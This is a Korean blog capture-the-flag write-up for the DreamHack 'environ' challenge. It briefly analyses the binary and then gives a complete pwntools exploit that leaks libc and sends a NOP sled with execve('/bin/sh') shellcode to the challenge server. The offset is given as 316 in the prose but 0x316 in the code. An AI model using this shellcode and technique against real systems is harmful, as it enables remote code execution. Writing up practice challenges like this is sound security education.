본문 바로가기

CTF/Pwnable

[DreamHack] environ Write-up

코드 분석

 

  • std주소 제공
  • libc파일 제공 => libc 베이스 구하기 

nx 비활성화 => stack 실행 가능 

 

read로 쉘코드 넣은 후 environ주소를 call하자 

buf의 위치는 rbp -20이다 

environ과 buf의 차이는 316이므로 \x90으로 316만큼 채우고 shellcode를 뒤에 붙이자 

 

익스플로잇코드를 짜자

from pwn import *

p = remote("host3.dreamhack.games", 10165)
e = ELF("./environ")
libc = ELF("libc.so.6")

p.recvuntil(b": ")
stdout = int(p.recvline()[:-1], 16)
libc_base = stdout - libc.sym['_IO_2_1_stdout_']

environ= libc_base + libc.sym['__environ']


payload = b"\x90" * 0x316 + b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.recvuntil(b'Size: ')
p.sendline(str(0x316 + 24))
p.recvuntil(b'Data: ')
p.sendline(payload)
p.recvuntil(b"*jmp=")
p.sendline(str(environ))

p.interactive()

'CTF > Pwnable' 카테고리의 다른 글

[Dreamhack] off_by_one_000 Write-up  (0) 2024.04.07
[DreamHack] cpp_string Write-up  (0) 2024.04.07
[DreamHack] checkflag Write-up  (0) 2024.03.31
[Dreamhack] blindsc Write-up  (0) 2024.03.31
[DreamHack] Bypass IO_validate_vtable Write-up  (0) 2024.03.31